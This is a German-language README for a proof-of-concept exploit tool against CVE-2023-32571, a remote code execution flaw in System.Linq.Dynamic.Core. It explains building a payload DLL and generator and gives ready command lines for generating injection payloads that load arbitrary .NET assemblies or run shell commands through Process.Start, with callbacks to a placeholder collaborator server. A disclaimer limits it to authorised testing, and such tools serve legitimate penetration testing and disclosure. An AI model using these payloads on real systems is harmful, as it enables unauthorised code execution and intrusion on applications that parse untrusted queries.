🐞 CVE-2023-32571 – Remotecodeausführung in System.Linq.Dynamic.Core

Proof of Concept für CVE-2023-32571, eine Schwachstelle zur Remote Code Execution in System.Linq.Dynamic.Core (1.0.7.10 bis 1.2.25). Diese Schwachstelle ermöglicht es Angreifern, beliebigen Code und beliebige Befehle auszuführen, wenn nicht vertrauenswürdige Eingaben an Methoden einschließlich Where, Select, OrderBy geparst werden.

⚠️ Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungs- und autorisierten Testzwecken. Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.

🎯 Voraussetzungen

• .NET 9.0 SDK oder neuer
• Zielanwendung, die eine verwundbare Version von System.Linq.Dynamic.Core (1.0.7.10 bis 1.2.25) verwendet
• Ein Collaborator-Server (z. B. Burp Collaborator, Interactsh), um Callbacks zu beobachten

🛠️ Projekt erstellen

1. Projekt erstellen:
   root@kitploit:~

   dotnet build --configuration Release
   

   Der Build erzeugt:
   • Payload-DLL unter Payload/bin/Release/netstandard2.0/Payload.dll
   • Payload-Generator unter Generator/bin/Release/net9.0/Generator.dll

🚀 Verwendung

Modi

Das Tool unterstützt zwei Modi:

1. AssemblyLoad (Modus 0): Eine benutzerdefinierte .NET-Assembly laden und ausführen
2. ProcessStart (Modus 1): Systembefehle direkt über Process.Start ausführen

Modus 0: AssemblyLoad (Standard)

# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0

# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

Modus 1: ProcessStart (Direkte Befehlsausführung)

# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ Parameter

• --mode: Ausnutzungsmodus (0=AssemblyLoad, 1=ProcessStart)
• --file: Pfad zur zu ladenden .NET-Assembly (erforderlich für den AssemblyLoad-Modus)
• --type: Vollständig qualifizierter Typname, der instanziiert werden soll (erforderlich für den AssemblyLoad-Modus)
• --parameters: Parameter je nach Modus:
  • AssemblyLoad: Konstruktorparameter (durch Kommas getrennt)
  • ProcessStart: Auszuführender Befehl (z. B. 'cmd.exe /c whoami' oder 'bash -c whoami')
• --encoding: Kodierungsmethode für den AssemblyLoad-Modus (0=Hex, 1=Base64)

📚 Referenzen

• NIST NVD
• NCCGROUP Advisory
• System.Linq.Dynamic.Core GitHub Repository